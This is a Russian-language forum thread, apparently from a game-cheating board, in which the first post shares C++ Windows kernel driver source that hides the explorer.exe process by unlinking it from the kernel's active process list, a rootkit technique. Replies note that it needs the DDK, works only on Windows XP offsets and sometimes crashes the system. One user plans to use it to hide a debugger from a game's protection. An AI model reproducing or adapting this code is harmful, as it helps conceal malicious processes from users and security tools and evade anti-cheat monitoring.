|
16.04.2015, 19:09
|
#1
|
|
|
|
Пехотинец
|
Регистрация: 17.01.2014
Сообщений: 67
Популярность: 4064
Сказал(а) спасибо: 145
Поблагодарили 138 раз(а) в 101 сообщениях
|
Скрытие процесса на С++
Код:
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
VOID unload(PDRIVER_OBJECT pDriverObject) {
DbgPrint("[-] Oh no :(\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegistryPath) {
PEPROCESS currentProcess;
PEPROCESS nextProcess;
PLIST_ENTRY listProcess;
pDriverObject->DriverUnload = unload;
DbgPrint("[+] The devil is in your kernel!\n");
currentProcess = IoGetCurrentProcess();
nextProcess = currentProcess;
do {
DbgPrint("- %s\n", (PUCHAR)((PUCHAR)nextProcess + 0x174)); // +0x174 ImageFileName : [16] UChar
listProcess = (PLIST_ENTRY)((PUCHAR)nextProcess + 0x88); // +0x088 ActiveProcessLinks : _LIST_ENTRY
if (strcmp((PUCHAR)((PUCHAR)nextProcess + 0x174), "explorer.exe") == 0) {
// +0x000 Flink
// +0x004 Blink
// => Flink + 1 = Blink of the next member
*((PDWORD) listProcess->Flink + 1) = (DWORD) listProcess->Blink;
*((PDWORD) listProcess->Blink) = (DWORD) listProcess->Flink; // Blink = Flink of the previous member
DbgPrint("explorer.exe is now like a ninja");
}
nextProcess = (PEPROCESS) listProcess->Flink;
nextProcess = (PEPROCESS)((PUCHAR)nextProcess - 0x88); // ActiveProcessLinks->Flink jump on "ActiveProcessLinks" in the next process
} while (nextProcess != currentProcess);
return STATUS_SUCCESS;
}
На данном примере показано как скрыть процесс: explorer.exe
________________
Не можешь жить, займись чем-нибудь другим.
|
|
|
Пользователь сказал cпасибо:
|
|
17.04.2015, 17:45
|
#2
|
|
|
|
Фельдмаршал
|
Регистрация: 22.02.2011
Сообщений: 949
Популярность: 34698
Сказал(а) спасибо: 939
Поблагодарили 2,534 раз(а) в 911 сообщениях
|
Re: Скрытие процесса на С++
|
|
|
17.04.2015, 23:04
|
#3
|
|
|
|
Пехотинец
|
Регистрация: 17.01.2014
Сообщений: 67
Популярность: 4064
Сказал(а) спасибо: 145
Поблагодарили 138 раз(а) в 101 сообщениях
|
Re: Скрытие процесса на С++
________________
Не можешь жить, займись чем-нибудь другим.
|
|
|
29.04.2015, 10:46
|
#4
|
|
|
|
Старший сержант
|
Регистрация: 04.02.2011
Сообщений: 198
Популярность: 12244
Сказал(а) спасибо: 453
Поблагодарили 435 раз(а) в 242 сообщениях
|
Re: Скрытие процесса на С++
-ни слова о том, что это "драйвер"....
-ни слова о том, что нужно DDK...
-ни слова о том, что бы собрать этот код нужно настраивать MVS или использовать консоль WDK....
|
Цитата: |
|
|
|
|
|
|
|
|
это сдвиг байтовый
эти значения статичны и менять их не нужно |
|
|
|
|
|
Работать будет только на XP )) Для других ОС оффсеты будут другими...
ЗЫ: Иногда вызывает BSOD))
________________
-Отложи на послезавтра то что можешь сделать сегодня, и тогда у тебя появятся два свободных дня!
|
|
|
3 пользователя(ей) сказали cпасибо:
|
|
28.05.2015, 16:24
|
#5
|
|
|
|
Разведчик
|
Регистрация: 26.10.2012
Сообщений: 14
Популярность: 1354
Сказал(а) спасибо: 1
Поблагодарили 5 раз(а) в 2 сообщениях
|
Re: Скрытие процесса на С++
|
|
|
28.05.2015, 19:05
|
#6
|
|
|
|
Сержант
|
Регистрация: 18.07.2013
Сообщений: 148
Популярность: 83981
Сказал(а) спасибо: 564
Поблагодарили 258 раз(а) в 195 сообщениях
|
Re: Скрытие процесса на С++
|
|
|
06.01.2016, 04:20
|
#7
|
|
|
|
Разведчик
|
Регистрация: 19.06.2015
Сообщений: 4
Популярность: 453
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Скрытие процесса на С++
То есть можно скрыть любой процесс? Нужно будет попробовать скрыть отладчик и запустить одну известную игрушку, которая не даёт нормально память свою прочесть...
|
|
|
22.03.2016, 11:46
|
#8
|
|
|
|
Разведчик
|
Регистрация: 16.12.2008
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: Скрытие процесса на С++
|
|
|
23.03.2016, 18:58
|
#9
|
|
|
|
Сержант
|
Регистрация: 27.11.2009
Сообщений: 126
Популярность: 41
Сказал(а) спасибо: 107
Поблагодарили 68 раз(а) в 43 сообщениях
|
Re: Скрытие процесса на С++
________________
Создание и продвижение сайтов по самым скромным ценам в рунете тут!
Последний раз редактировалось SkaterSPB; 23.03.2016 в 19:24.
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Похожие темы
|
Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
[Помогите!] скрытие процесса
|
sanaka2011 |
Вопросы, просьбы, обсуждение |
0 |
21.11.2011 18:23 |
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 03:39.
|
|